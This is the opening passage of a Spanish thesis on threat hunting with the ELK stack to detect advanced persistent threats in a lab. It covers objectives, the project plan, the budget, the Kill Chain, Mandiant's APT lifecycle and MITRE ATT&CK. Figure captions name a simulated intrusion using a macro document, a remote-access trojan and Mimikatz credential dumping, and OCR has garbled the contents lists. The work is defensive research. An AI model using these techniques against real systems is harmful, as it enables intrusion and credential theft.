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Resumen

El siguiente trabajo de fin de grado consiste en la evaluacién de una solucién que permita realizar el
proceso de threat hunting con el fin de detectar amenazas persistentes avanzadas.
Este trabajo surge con el auge de la seguridad en las empresas frente a la necesidad de seguridad frente a
las amenazas planteadas por los ciberdelincuentes debido a la digitalizacién de sus servicios.
Debido a esto la seguridad se vuelve mds importante y, por ello, los atacantes crean nuevas formas de con-
seguir sus objetivos. En este entorno, los analistas buscan herramientas que permitan a las organizaciones
defenderse de una forma eficaz frente a las nuevas amenazas. Uno de estos procesos que permiten aumentar
la seguridad se llama threat hunting que consiste en la biisqueda proactiva de indicios de amenazas.
En los entornos en los que se desarrolla la actividad de las organizaciones pueden existir multiples tipos de
amenazas a las que un equipo de seguridad, sin embargo este trabajo se centrard en un tipo de amenaza
que empezo a proliferar en el ano 2010 y sigue hasta nuestros dias,las amenazas persistentes avanzadas las
cuales son complicadas de detectar debido al gran niimero de técnicas que se suelen emplear para tratar
de realizar su actividad de forma que no sea perceptible para el analista. Estas amenazas se suelen dar en
entornos complejos que conllevan una gran preparacién previa por parte de los atacantes.
Esta labor de deteccién se realizarda apoyandose en las tecnologias que nos ofrece la compania Elastic, las
cuales permitirdn realizar la alerta temprana y la bisqueda de los indicios de las posibles amenazas que se
puedan dar en el entorno. Para poder realizar la alerta temprana de forma correcta se necesitara explorar
las posibilidades de aprendizaje automatico que nos ofrece la solucién que permitira aliviar la carga que
tendran los analistas.
Previamente a la instalacién de las tecnologias se deben entender los multiples aspectos que diferencias a
las amenazas persistentes avanzadas del resto de las amenazas, su ciclo de vida, las diferentes técnicas
que pueden utilizar para lograr sus objetivos, con el fin de realizar la instalacién y configuracién de un
laboratorio donde se reproducira una amenaza persistente avanza que permitira validar la efectividad de

la solucién mostrada en este trabajo.






Tabla de Contenidos

(1. Introduccionl 11
1. Contextal . . . . . . e e e e e 11
[.2. Motivacionl . . . . . . . . . 11
[1.3. Objetivos y alcance|. . . . . . . . . . . 11
|1.4. Archivos de configuracion y detalles de la monitorizacion|. . . . . . . . .. ... ... ... 12

|2. Plan de proyecto| 13
[2.1. Conceptos y acronimos|. . . . . . . . . . v v i i e e e e e e e e e e e e e e 13
[2.2. Modelo y fases del proyecto| . . . . . . . . . . .. 14
[2.3. Plan de contingencial . . . . . . . . . .. 17

[2.3.1. Presupuesto|. . . . . . . . e 18

B M *ricol 21
[3.1. Threat hunting| . . . . . . . . . . . . e 21
[3.2. The Cyber Kill Chain| . . . . . ... ... o 22
[3.3. Fl modelo de ciclo de vida de las AP de Mandiatl . . . . .. ... ... ... ....... 23
[3.4.  Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK) Model and Frame- |

| work(Mitre ATT&CK)[ . . . . o 0000000 oo 24
B.5. Indicadores . . . . . . . 26
[3.6. Threat Hunting Mature Model(HMM)| . . . . . .. ... ... ... ... .. .. ... .. 27
B _PIaELKl . . . oottt e 28

[3.7.1. Logstash|. . . . . . . . . . 28
B.7.2. FElasticsearchl . . . . . . . . . . L 28
BZ3KIDANal - o o e e e e 29
BZZ Beald . . . . . .. 29

I Actividad ne 3 31
4.1, Definir la normalidadl. . . . . . . . . . .. 31
[d2. Calidad delos datod . . . . . . . . . . . e 31
4.3, Herramientas de Kibanal . . . . . . . . .. ... Lo 32

[4.3.1. Busquedas, visualizaciones y visualizador de los datos| . . . . . .. ... ... ... 32
4,32, STEMI . . . . e 33

[6. Machine Learning] 37

[5.1. Machine learning y la pilla ELK| . . . . . ... .. o oo oo oo 37
B.II. Detector de anomalfag . . . . . . . . . ... 37
b.1.2. Visualizador de datosl . . . . . . . . .. oL 42

[5.2. Machine learning y la ciberseguridad| . . . . . . . ... ... oo Lo 43




6. Creacion del laboratorio y desarrollo del experimento|

[6.1. Maquinas| . .. ... ...

[6.1.1. tfeg-vaO6-tfrancisco .
16.1.2. tig-va06-francisco-2|

[6.2.1. Sysmon| . . .. ..
6.2.2. Winlogbeat| . . . .

624, X-Packl ... ...

[6.3. Software empleado para el experimento| . . . . . . . ... ... L.

|6.4. Desarrollo del experimento|

16.4.1.  Compromiso iniciall

16.4.2.  Establecer un punto de apoyol . . . . . . . . ... L L

[6.4.3.  Escalar privilegios|

16.4.6.  Mantener presencia)
|6.4.7. Mision completal .

[6.5. Resultados de la aplicacion

de machine learning en el experimento| . . . . . .. .. .. ..

7. Conclusiones y posibles mejoras|

[7.1. Conclusiones . . . . . . . . s,
[7.2. Posibles mejoras| . . . . . . . . . e
Bibliog
[Anexos|
I Monitorzacian
[L1. Directivas de auditoria local de Windows| . . . . . . . . . . .. ... ... .. ...
II.L1.1.  Windows Event Logging| . . . . . . . . .. .. ... ... ...
N 1310 1810 1 |
[L.3. Monitorizacion de las conexiones de red mediante Packetbeat| . . . . . . . ... ... ...

|LI. Configuracion|

[[I.1. Configuracién de Logstashl

45
45
45
46
46
46
47
47
47
47
47
48
56
o8
60
67
70
71
73

75
75
76

(e

79

81
81
84
85
85

87



Lista de Figuras

[2.1. Diagrama de Gantt|. . . . . . . . . . . . . .. e 17
[3.1. The Cyber Kill Chain| . . . . . . . . . . . ... . . 22
[3.2. Il modelo de ciclo de vida de las APT de Mandiatl . . . ... ... ... ... .. ... ... 23
B.3. Matrices MITREl . . . . . . . . . . e 25
[3.4. Matriz para empresal . . . . . . ... 25
[3.5. Técnica de Spearphishing Linkl . . . . . .. .. ... ... .. . o 26
[3.6. Hunting Maturity Model| . . . . . . . . . . . .. . ... . 27
13.7. Opciones de visualizacion ofrecidas por Kibanal . . . . . .. ... ... ... ... ..... 29
4.1. Top 100 IPs de destinof. . . . . . . . . . . . . . e 33
H2OVEIVIEW] « o o v o v e e e 34
H3HOSH -« o 34
4.4, Networkl . . . . . . . e 35
[4.5. Ejemplo de timeline] . . . . . . .. 36
[5.1. Opciones de creacion de trabajos| . . . . . . . . . ... L L 38
[5.2. Creacion de un trabajo de métrica unical . . . . . . . . . . . . ..o 39
[5.3. Creacion de un trabajo de multiples métricas| . . . . . . . . .. . ... ... ... 39
[5.4. Creacion de un trabajo de poblacion| . . . . . . . . . ..o oL 40
[5.5. Creacion de una categorizacion| . . . . . . . . . . .. e 40
[5.6. Creacion de un trabajo avanzado| . . . . . . . . . . ... L 41
(.7 Creacidn deun detector] . . . . . . . . . . ... 41
5.8. Explorador de anomalias|. . . . . . . . ... ... 42
5.9, Visualizador de datosl . . . . . . . . .. 43
[6.1. Esquema del laboratoriol . . . . . . . . ..o 45
[6.2. Ejemplo de procesador que elimina los eventos que no tenga los IDs de la imagén| . . . . . 47
B3 Emaill . .. ... 48
6.4 Documento con Macral . . . . . . . . .. 49
6.5. Macro del documentol . . . . . . .. 49
|6.6. Apertura de la aplicacion de Outlook{. . . . . . . .. .. ... ... ... ... ... .. 50
[6.7. Descarga del documento word|. . . . . . . . . .. ... o 50
6.8. Creacion del documentol . . . . . . . . . e ol
16.9. Apertura del documento word|. . . . . . . . ... L 51
[6.10. Descarga cliente Quasar| . . . . . . . . . . . .. 52
[6.11. Descarga del APT'Simulatorf . . . . . . . . . ... .. . 53
[6.12. Ejecucion del cliente] . . . . . . . oo 53
6.13. Enlace del clientel . . . . . . . . oL 54



[6.15. Conexion del cliente desde Packetbeatl . . . . . . . .. .. .. o000 56
|6.16. Creacion de la tarea evento programada 106|. . . . . . . . . . . . . .. .. ... ...... 57
16.17. Creacion de la tarea programada evento 4698| . . . . . . . . . . . .. ... ..., 57
[6.18. Ejecucion de la tarea programadal. . . . . . . .. ..o oL 58
[6.19. Ejemplo de resultado del comando| . . . . . .. . ... o o oo 59
[6.20. Llamada a Mimikatz desde emd|. . . . . . . . . ..o o oo 59
6.21. Acceso a Lssas.exe desde Mimikatzl . . . . . . . . . . . ... 60
16.22. Final de proceso de Mimikatz| . . . . . . . . ... ... oo 60
6.23. Archivo Batchl. . . . . . . . . . 61
[6.24. Creacion de sys.txt] . . . . . . . . .o 62
16.25. Ejecucion de whoami| . . . . . . . ... oL 62
16.26. Ejecucion de systeminfo|l . . . . . . . ..o e 63
[6.27. Ejecucion de net localgroup| . . . . . . . . .. 63
[6.28. Fjecucion de wmic qte list full | . . . . ... ... oo oo 64
16.29. Ejecucion de wmic share get|. . . . . . . . ..o 64
16.30. Ejecucion de net user|. . . . . . . ... 65
[6.31. Ejecucion de net group|. . . . . . . ... 65
16.32. Ejecucion de tasklist| . . . . . . ..o 66
16.33. Ejecucion de tree| . . . . . . .. 66
[6.34. Ejecucion de net accounts] . . . . . . . ... Lo 67
[6.35. Ejemplo de las sesiones disponibles| . . . . . . . ... oo o oo 68
[6.36. Whoami desde el usuario atacantel . . . . . . . .. ... ... o oo 68
[6.37. Tlamada a Mimikatz] . . . . . . . . . . . . 68
6.38. Acceso a Lissas.exe desde Mimikatzl . . . . . . . . . . ..o oL 68
[6.39. Inicio de sesién de un usuariol . . . . . . ..o oLl 69
16.40. Informacion del comandol . . . . . .. .o 69
[6.41. Whoami desde el usuario victimal . . . . . . . . . . . ... 69
[6.42. Ejecucion del cliente] . . . . . . . 0o 70
[6.43. Deteccion de actividad con el servidor-Winlogbeat| . . . . . . . ... ... ... ... ... 70
[6.44. Deteccion de actividad con el servidor-Packetbeatl. . . . . . ... ... ... ... ... .. 71
16.45. Archivo Batch para la recoleccion|. . . . . . . . ... ... oo 71
[6.46. Ejecucion primer comando de recoleccion| . . . . . ..o 0oL oL 72
[6.47. Creacién del archivo dtxtl . . . . . . . . . . . . . . . . 72
16.48. Ejecucion segundo comando de recoleccion|. . . . . . ..o 0oL 72
16.49. Creacion del archivo 127.0.0.1.txtl . . . . . . . . . . . o o 72
16.50. Grafica que muestra la cantidad de eventos por hora durante el transcurso del experimento| 73
|6.51. Ejemplo de la deteccion de anomalias| . . . . . . . ... .. ... oL, 74
IL1.  Directivas de auditoria locales| . . . . . . . . . . . . .. Lo oo 82




Lista de Tablas

[2.1. Plan de contingencial . . . . . . .. ..o 18
[2.2. Presupuesto| . . . . . . . . e e 19
[6.1. Fventos de Sysmon disponibles| . . . . . . ... oo oo 46
|6.2. Técnicas empleadas en Compromiso Inicial] . . . .. .. ... ... ... ... ... ..., 56
[6.3. Técnicas empleadas en establecer un punto de apoyo| . . . . . . .. . ... ... ... ... 58
|6.4. Técnicas empleadas en Escalar privilegios| . . . . . . . ... .. ... ... 0L, 60
|6.5. T'écnicas empleadas para realizar el reconocimiento internof . . . . . . . ... ... .... 67
|6.6. Técnicas empleadas para realizar los movimientos laterales|. . . . . . . .. ... ... ... 69
[6.7. Técnicas empleadas para realizar la etapa de mantener persistenciaf. . . . . . . . . . . .. 71
|6.8. T'écnicas empleadas para realizar la etapa de completar mision| . . . . . . ... ... ... 73
[.L1. Eventos del sistema que se monitorizan| . . . . . . . . . . . . . . ... ... ... 84
[[.2. Windows Event Logging| . . . . . . . . . . .. 85
I.3. Eventos de Sysmon| . . . . . . . . .. e e 85
L4, Packetbeatl . . . . . . . . . 85



10



Capitulo 1

Introduccion

1.1. Contexto

En la actualidad, la seguridad informatica gana cada dia méas peso en las empresas; por ello, las
técnicas van cambiando, buscando mejorar y adaptarse a los nuevos movimientos de aquellos denominados
ciberdelicuentes.

Una de las formas de protegerse frente a estas amenazas parte de un enfoque proactivo, donde el investigador
busca indicios de amenazas que puedan haberse saltado las medidas de ciberseguridad impuestas por
la empresa. Este enfoque se conoce como threat hunting; se ha vuelto muy popular en los dltimos anos
debido a que permite detectar amenazas persistentes; por ello, queriamos tratar de comprenderlo y
probar su efectividad. Hay varias formas formas de aplicar este enfoque siendo la méas popular el uso
de STEM(Security information and event management) de terceros, sin embargo, este tipo de servicios
pueden ser bastante caros como para que una pequena o mediana empresa pueda permitirselos, por lo
que en este TFG se quiere probar una variante gratuita que aunque requiera una mayor implicacién del
equipo de seguridad, ya que requiere realizar las configuraciones pertinentes, permita a las pequenas o
medianas empresas aprovechar el talento de sus equipos de seguridad a la vez que realizan sus tareas de

seguridad sin necesidad de que tengan que gastar una gran parte de su presupuesto en ello.

1.2. Motivacion

El threat hunting es uno de los procedimientos de seguridad que mas popularidad esta ganando durante
los ultimos anos, esto se debe a que permite aprovechar al maximo el talento y la experiencia de aquellos
que lo ejecutan correctamente sin tener que invertir en gran medida en herramientas auxiliares. Con este
proyecto se busca establecer un entorno sencillo en que se pueda experimentar este proceso, para que en
proyectos posteriores se pueda realizar de forma més profunda. Para ello se opta por realizar este proceso
a través de herramientas gratuitas que no estén previamente configuradas y asi permitir a los analistas de
seguridad realizar sus investigaciones para obtener la configuracién que mas se adapte a las necesidades

de su entorno.

1.3. Objetivos y alcance

El objetivo de este trabajo es la implantacién de una solucién en el entorno que permita realizar el
proceso de threat hunting con el fin de detectar las posibles amenazas que se encuentren dentro de este.
Posteriormente se validara la efectividad del entorno realizando un experimento donde se simulara una

amenaza en el entorno y que deberd ser detectada valiendose de las herramientas que nos facilita la
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solucion, que en este caso sera la pila ELK.

Para ello, se han propuesto los siguientes objetivos:

1.4.

Estudio del proceso de threat hunting: Se necesitara conocer su definicién y como se llevard a

cabo.

Estudio de las amenazas persistentes avanzadas: Se requerird conocer las caracteristicas
principales de las amenazas persistentes avanzadas para, posteriormente realizar un experimento

simulando su comportamiento.

Instalacién y configuracion del laboratorio:Se realizara la instalacion de las diferentes parte
de la pila en las mdquinas proporcionadas para el proyecto donde se llevaran a cabo los experimentos

con el fin de validar la efectividad de la solucién ante las amenazas.

Deteccién de la actividad normal de un usuario:Para llegar a comprender lo que se puede
considerar una amenaza, se debe entender lo que se considera la normalidad de un usuario. Esto
permitird comprender cuéles son los eventos que se corresponden con la actividad del usuario y
cuando hay una anomalia. Conocer la normalidad permitira excluir eventos que no contengan datos

de interés y facilitard la implantacién del machine learning.

Creacion de un experimento:Finalmente, se realizara un experimento donde se detectara aquella
actividad que pueda parecer sospechosa con el objetivo de detectar amenazas.Para ello, se simulara
una amenaza en el entorno apoyandose en herramientas externas que generaran indicadores de

compromiso que se trataran de detectar mediante el uso de la pila.

Archivos de configuracion y detalles de la monitorizacién

La informacién relativa a la configuracién de Logstash se muestra en el anexo [[I} El resto de los

archivos de configuracién se adjuntan al trabajo. El anexo [[] contiene informacién sobre los eventos que

supervisaremos y las politicas de auditoria de Windows que necesitaremos habilitar para que se puedan

recoger los eventos.
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Capitulo 2

Plan de proyecto

En el siguiente capitulo se detallan los conceptos y acrénimos que se deben conocer,posteriormente se

presenta el plan de desarrollo de este TFG, y finalmente se muestra el presupuesto estimado del proyecto

y €l plan de riesgo.

2.1.

Conceptos y acronimos

IOC: Término con el que se conoce a los indicadores de compromiso. Es un término forense empleado
para referirse a una evidencia de la existencia de una brecha de seguridad. Estos indicadores pueden

usarse detectar actividad sospechosa en etapas tempranas.

Threat hunting: Se define threat hunting como un proceso proactivo e iterativo de bisqueda
de actividad anormal en servidores y redes que puedan ser indicios de amenazas avanzadas que
hayan evadido las medidas de seguridad.La principal diferencia que presenta con otras medidas
de seguridad es su proactividad. El threat hunting combina el uso de herramientas de seguridad

automatizadas con el andlisis y el instinto humano.

APT: Término con el que se conoce a las amenazas persistentes avanzadas. Son un tipo de ataque
dirigido mas sofisticado que busca establecer posicionamiento dentro de una infraestructura de una

organizacion, con objetivos especificos. Sus principales caracteristicas son:
e Avanzada: Debido al gran nimero de técnicas que pueden emplear para llevar a cabo sus
objetivos.

e Persistente: Pueden llegar a permanecer un largo periodo de tiempo ocultas; normalmente este

tipo de ataques buscan una informacion especifica.

e Amenaza: Debido a la existencia de un atacante con un objetivo.
KQL: Acrénimo de Kibana Querying Language.

ECS: Acrénimo de Elastic Common Schema. Se refiere a una especificacion de codigo libre desa-
rrollada en conjunto por Elastic y la comunidad. Esta especificacién define el conjunto de campos

comunes que tiene que tener la informacion para ser almacenada en Elasticsearch.

RAT: Acrénimo de Remote Access Tool o Remote Access Trojan, dependiendo del fin que se tenga.

Se utiliza para describir una herramienta que nos permite realizar el acceso remoto a sistemas

SIEM: Acrénimo de Security Information and Event Management, es una solucién software que

permite centralizar el almacenamiento y la interpretacién de los datos relevantes de seguridad.
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s C2: Acrénimo de command and control.
= RDP: Acrénimo de Remote Desktop Protocol.

= RDS: Acrénimo de Remote Desktop Services.

2.2. Modelo y fases del proyecto

Durante el desarrollo del proyecto se empleard la metodologia conocida como modelo de desarrollo en
cascada. Este modelo describe un método de desarrollo lineal y secuencial donde, una vez analizada una
fase, se avanza a la siguiente y lo obtenido en la fase anterior se pasa a la nueva. Las fases del proyecto

son las siguientes:

s Fase de creacion del entorno: En esta fase se producira la creacién del laboratorio con los

elementos requeridos.

s Fase de caracterizacién de la actividad un usuario: En esta fase se determina cudl es la

actividad normal de un usuario y la del sistema.

= Fase de experimentaciéon: En esta fase se realizard un experimento que emularda una APT y se

tratard de detectarla.

= Fase de documentacion: En esta fase se terminara la documentacion requerida para la presentacién

del TFG .

En esta seccidon se presentardn las diferentes tareas de las que constard el proyecto y el diagrama de Gantt
correspondiente.

Fase de creacién del entorno

ID: 01 Estudio de la pila ELK

Predecesoras: -

Duracion: 4 dias

Se debe aprender el funcionamiento de los componentes de la pila que debemos

utilizar.

ID: 02 Instalacion de la pila ELK

Predecesoras: 01

Duracion: 3 dias

Se requiere la instalacién y configuracién de los componentes de la pila para la

creacion del laboratorio.

ID: 03 Estudio de las herramientas de recoleccion de

logs

Predecesoras: -

Duracion: 4 dias

Se requiere conocer las herramientas que emplearemos para monitorizar la

actividad del usuario. En este caso Sysmon,Winlogbeat y Packetbeat.
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Predecesoras: 03

Duraciéon: 2 dias

Se requiere instalar las herramientas que emplearemos para monitorizar la

actividad del usuario.

Predecesoras: 02 y 04

Duracién: -

Fase de caracterizacion de la actividad de un usuario

Predecesoras: 05

Duracién: 4 dias

Entender los diferentes tipos de eventos, directivas de auditoria y el

funcionamiento de los logs en Windows

Predecesoras: -

Duracion: 7 dias

Entender en que consiste la actividad normal de un usuario con los diferentes

eventos que se generan.

Predecesoras: 06 y 07

Duracion: 5 dias

Configuracion de los componentes de la pila, Sysmon, Winlogbeat y Packetbeat

para detectar la actividad normal del usuario.

Predecesoras: 08

Duracién: 3 dias

Se tratard de imitar la actividad normal de un usuario y crear diferentes

visualizaciones que ayuden a entender més esta actividad.

Predecesoras: 09

Duracién: 2 dias

Se comprobara si se ha conseguido capturar la actividad habitual de un usuario.

15



Predecesoras: 10

Duracion: -

Fase de experimentacion

16

Predecesoras: 11

Duracién: 4 dias

Se necesita conocer el ciclo de vida de una amenaza para saber como reproducir

un ataque.

Predecesoras: -

Duracion: 5 dias

Se necesita conocer las técnicas que se suelen emplear durante las diferentes

fases de una amenaza.

Predecesoras: 12y 13

Duracion: 7 dias

Se disenara un experimento teniendo en cuenta lo aprendido sobre APT.

Predecesoras: 14

Duracion: 3 dias

Se estudiaran las técnicas y herramientas que se usen en el experimento.

Predecesoras: 15

Duracion: 14 dias

Se realizara el experimento.

Predecesoras: 16

Duracion: -

Predecesoras: 17

Duracién: 4 dias

Se estudiaran las posibilidades de machine learning ofrecidas por la pila ELK




Predecesoras: 18
7 dias

Se desarrollaran los trabajos que permiten la deteccién de amenazas y se

Duracién:

empleard la funcionalidad de SIEM ofrecida por Kibana

Predecesoras: 19

Duracién: -

Fase de documentacién

Predecesoras: 20

21 dias

Duracién:

Se desarrollard la memoria

Predecesoras: 21

Duracién: -

Diagrama de Gantt
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Figura 2.1: Diagrama de Gantt

Plan de contingencia

La tabla describe un plan de contingencia para los sucesos que pueden ocurrir a lo largo del

desarrollo del proyecto.
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Riesgo

Contingencia

Averia de las maquinas utilizadas en el proyecto

En este caso se utiliza un sistema de control de
versiones como GitHub por si el tiempo que que-
dase para entregar el proyecto no fuese suficiente
y se decidiera emplear otra maquina distinta

Indisposicién de tiempo suficiente

Se retrasard la fecha de entrega del proyecto hasta
la segunda convocatoria.

Indisposicién del personal

En caso de que no se puedan cumplir los objetivos
del proyecto en el tiempo restante se retrasara la
fecha de entrega hasta la segunda convocatoria,
si no es el caso se presentara segun los plazos ya
descritos.

Fallos de conexién

Si no se pudiesen utilizar las maquinas en las que se
desarrolla el proyecto por problemas de conexién se
procederia a reajustar plazos adelantando aquellas
tareas que no requieran su utilizacion.

Actualizacién de algin componente

En caso de que se realicen cambios en los com-
ponente mientras se realiza el proyecto se tratara
de actualizar los componentes siempre que no se
produzca ningtn fallo con lo ya realizado.

Dificultades en la implementacion de alguna de las
partes

En caso de que se produzca alguna dificultad o que
se requiera una mayor compresion de las partes
del proyecto se moveria la fecha limite final a una
fecha mas tardia.

Tabla 2.1: Plan de contingencia

2.3.1. Presupuesto

Los recursos utilizados son los siguientes:

= Un ingeniero informatico junior, cuyo sueldo anual gana 22.000€.Suponiendo que el nimero de dias

laborables en un afio en Espana es de 250 dias. Si se realiza una jornada laboral de 8 horas se estima

que cobra a 11€ la hora de trabajo. En este proyecto se estima que el ingeniero informatico junior

trabajard en torno a 4 horas diarias durante 15 semanas, con 5 dias laborables por semana, por lo

que su coste final serd de 3300€.

= Un tutor, al que se le da el rol de un jefe de proyecto cuyo sueldo se estima en 48.000€ anuales.

Realizando el mismo nimero de horas diarias que en caso anterior y durante las mismas semanas se

estima que su coste final es de 7200€.

= Dos maquinas virtuales cuyos nombres son tfg-vaQ6-francisco y tfg-va06-francisco-2. Se estima,

mediante las caracteristicas especificas de cada méaquina que costara 0.0945€ /hora y 0.1900€/hora,

suponiendo que se emplean durante el desarrollo del proyecto(300 horas) se obtiene el siguiente coste
para cada maquina: 28.35€ y 57€. En la tabla se indica el coste total en funcién del nimero de

horas.
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Recursos Coste(Euros/hora) Horas Total(Euros)
ingeniero informadtico ju- | 11 300 3300
nior
jefe de proyecto 24 300 7200
tfg-va06-francisco 0.0945 300 28.35
tfg-va06-francisco-2 0.1900 300 57

10585.35

Tabla 2.2: Presupuesto
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Capitulo 3

Marco teorico

3.1. Threat hunting

Se entiende threat hunting como el proceso de buisqueda iterativa y proactiva que permita detectar
e identificar indicios de que un atacante ha comprometido de manera existosa nuestra red, aplicacién,
servidores o sistemas evadiendo los mecanismos de seguridad implementados. Aunque este proceso se
realiza dependiendo, en gran medida, de la automatizacién y la asistencia de la maquina mediante
diferentes herramientas, el proceso en si no puede ser completamente automatizado ni ningin producto
puede realizar la bisqueda de un analista. Por ello, se centra en la parte proactiva y la parte del andlisis
humano ya que este proceso se realiza principalmente por estos dos métodos. Cabe destacar que el
analista debe tener conocer las tacticas, técnicas y procedimientos que componen los ataques para poder
identificarlos.
Este proceso se lleva a cabo mediante el conocimiento de la informacion que se estd utilizando y que
permite el establecimiento de hipétesis testeables segiin Robert M. Lee y David Bianco en un trabajo
publicado por el instituto SANS [2]. Hay que destacar dos componentes claves que se deben tener en
cuenta a la hora de generar hipdtesis: primero, se debe tener la capacidad de crear hipétesis derivadas
de las observaciones. Para poder obtener esta capacidad se debe poder diferenciar el estado de nuestro
entorno, es decir, se debe conocer la normalidad de nuestro entorno para, posteriormente, poder distinguir
valores significativamente diferentes que puedan ser indicios de una amenaza.
En segundo lugar, las hipdtesis planteadas deben ser comprobables, es decir, se debe poder comprobar
las hipétesis plateadas por los analistas mediante los datos de los que se disponen. Por ello, otra parte
importante de este proceso es la eleccion de las herramientas que se empleen en la recoleccién de los datos,
el conocimiento sobre estas y la calidad de los datos que se obtengan de las mismas.
Como se ha mencionado anteriormente, una de las claves de este proceso es el andlisis humano, por lo que
aquellas busquedas que detecten indicadores de compromiso o el uso de herramientas, tacticas o técnicas
propias de un ataque no deberian formar una hipétesis directamente sino que es el investigador quién
prioriza y analiza estos datos para construir su hipétesis sobre la actividad que representan.
Este proceso se utilizard para tratar de detecta APTs en nuestro entorno, se entiende APT(amenaza
persistente avanzada) un tipo de ataque dirigido més sofisticado que busca establecer posicionamiento
dentro de una infraestructura de una organizacién, con objetivos especifico, sin embargo se debe conocer
la forma en la que funcionan estos ataques para poder detectarlos, para ello primero debemos entender

las etapas que conforman un ataque.
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3.2. The Cyber Kill Chain

RECONNAISSANCE

Harvesting email add resses,
conference information, etc.

WEAPONIZATION

Coupling exploit with backdoor
into deliverable payload

Delivering weaponized bundle to the
wictirm via email, web, LISB, etc.

Exploiting a vulnerability to execute
code on victing's system

INSTALLATION

Installing malware oo the asset

COMMAND & CONTROL (G2)

Cammand channel for remate
manipulation of victim

ACTIONS DN DBJECTIVES

With ‘Hands on Keyboard' acoess,
intruders accomplish their original goals

Figura 3.1: The Cyber Kill Chain

Desarrollada por Lockheed Martin, es un marco de trabajo que forma parte del modelo Intelligence
Driven Defense para la identificacién y prevencién de la actividad de intrusiones. Este modelo indica
qué fases se han de realizar para cumplir el objetivo de una intrusién.

Este marco de trabajo deriva de un modelo militar que consiste en identificar, preparar el ataque, atacar
y destruir el objetivo.

El modelo consta de 7 etapas: Reconocimiento (Reconnaissance), militarizacién(Weaponization), Entre-
ga(Delivery), Explotacién(Exploitation), Instalacién(Installation), Mando y Control(Command Control)
y Acciones sobre Objetivos(Actions on Objectives).

La etapa de Reconocimiento consiste en la investigacién, identificacion y seleccién de objetivos mediante la
recoleccién de informacion del objetivo por diversos medios como redes sociales. En esta etapa también se
puede recoger informacién mas técnica mediante el escaneo de puertos y la bisqueda de vulnerabilidades.
Una vez concluida esta etapa, se pasa a la etapa de Militarizacion; en esta fase se decide la forma en
la que se llevar a cabo el ataque, teniendo en cuenta la informacién recogida; por ejemplo, se crea un
malware que explote una vulnerabilidad de una versién desactualizada de un programa.

La fase de Entrega consiste en la transmisién del ataque a las victimas; cominmente se suele realizar
via phishing mediante la descarga de un documento que contiene macros que descargan a las victimas el

malware.
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Una vez que se ha propagado la amenaza, comienza la etapa de Explotacién, donde se espera a que el
malware desarrollado y entregado en etapas anteriores explote la vulnerabilidad.

La siguiente fase es la fase de Instalacion, donde se produce la instalacion de malware adicional que el
atacante pueda necesitar; en esta fase se busca establecer persistencia.

La etapa posterior es el Mando y Control: una vez que el sistema ya esta comprometido, se busca establecer
los canales de comunicacién que permitan controlar el sistema de forma remota.

La ultima fase, llamada Acciones sobre Objetivos, consiste en cumplir el objetivo del ataque, por ejemplo
la obtencién de la informacién o seguir moviéndose por la red empresarial.

Una vez conocido las etapas en las que se divide un ataque se debe aplicar estas etapas a las apt, buscando

conocer las etapas que las componen.

3.3. El modelo de ciclo de vida de las APT de Mandiat

Mediante la aplicacién del modelo presentado por Lockheed Martin se crearon otros modelos que tratan
de explicar el ciclo de vida de una APT. El modelo de Mandiat explica detalladamente las fases que

conforman el ciclo de vida de una APT.

= =

Figura 3.2: El modelo de ciclo de vida de las APT de Mandiat

El modelo presenta dos fases de inicio; algunos autores creen que empieza por la fase de Reconocimiento
Inicial(Initial Recon), que es muy similar a la fase de Reconocimiento en el Cyber Kill Chain y después
seguiria la fase de Compromiso Inicial(Initial Compromise) que contendria las fases de militarizacién
y entrega. Otros autores consideran que el modelo empieza directamente en Initial Compromise y este
contendria las fases de Reconocimiento, Militarizacion y Entrega siendo el fin de esta fase seleccionar
al objetivo, preparar el ataque y entregar el malware. La siguiente fase, llamada la fase de establecer
un punto de apoyo (Establishing Foothold), consiste en instalar backdoors que nos permitan acceder al
sistema de forma sigilosa; en esta fase se encuentran las etapas de explotacion e instalaciéon de Cyber Kill
Chain.

La fase posterior es la fase de escalar privilegios(Escalate Privileges); en esta fase se busca obtener
privilegios de administrador en el sistema y en el dominio. Este es un paso critico para las APTs ya que
facilitar la obtencién de nombres de usuario y contrasefias que permitirdn moverse por la red forma sigilosa.
La fase de Reconocimiento interno(Internal reconnaissance) consiste en recoger informacién interna sobre
el entorno de la victima; normalmente en esta fase se emplearan comandos pertenecientes al propio sistema

operativo que permitiran generar menos actividad inusual. La fase subsiguiente es la de movimientos
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laterales (Move laterally), consiste en usar las credenciales legitimas recogidas en fases anteriores para
acceder a otros sistemas de la red. Mantener la presencia (Maintain Presence) es la siguiente fase del
modelo; en esta fase el atacante busca asegurar un acceso continuo al entorno. Los métodos méds comunes
pueden ser la instalacién de multiples backdoors o ganar acceso a los servicios de acceso remoto. La ultima
fase del ciclo es completar la misién (Complete mission) donde el atacante consigue su objetivo, como por
ejemplo conseguir informacion o detener un servicio. Esta fase es semejante a la etapa de Acciones sobre
Objetivos.

Conocido el ciclo de vida de una APT se deben comprender las diferentes técnicas que forman parte del

marco de trabajo de las amenazas persistentes avanzadas y que por tanto deberian ser detectadas.

3.4. Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK)
Model and Framework(Mitre ATT&CK)

MITRE es una organizacién estadounidense sin animo de lucro localizada en Bedford, Massachusetts y
McLean, Virginia.
Provee ingenieria de sistemas, investigacién, desarrollo y soporte sobre tecnologias de la informacion al
gobierno de Estados Unidos de América y en 2013 crearon ATT&CK (Adversarial Tactics, Techniques
& Common Knowledge) [17], que consiste en un repositorio de las técnicas y las tacticas usadas por los
atacantes observadas en incidentes pasados sufridos por organizaciones. MITRE presenta tres matrices de
técnicas empleadas por los atacantes, dividas en tacticas que cubren el modelo de Cyber Kill Chain, las

cuales son:

» matriz PRE-ATTACK&CK [19]: que se encarga de cubrir las fases de reconocimiento y

militarizacion.

» matriz ATT&CK para empresa [18]: que cubre el resto de las fases de Cyber Kill Chain y

tiene subcategorias en funcién del sistema operativo.

» matriz ATT&CK para dispositivos moviles [20]: muestra las tacticas y técnicas empleadas

en dispositivos moviles.
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PRE-ATT&CK ATT&CK for Enterprise
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Initial Access
Execution
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Privilege Escalation
Defense Evasion
Credential Access

Discovery
Adversary OpSec Lateral Movement
Establish & Maintain Infrastructure Collection
Persona Development Exfiltration
Build Capabilities Command and Control
Test Capabilities Impact
Stage Capabilities

Figura 3.3: Matrices MITRE

En el experimento se utilizan técnicas de la matriz para empresa ya que los primeros pasos de reconocimiento
y militarizacion se dan por supuestos. Las 12 tacticas que se han categorizado en la matriz ATT&CK para
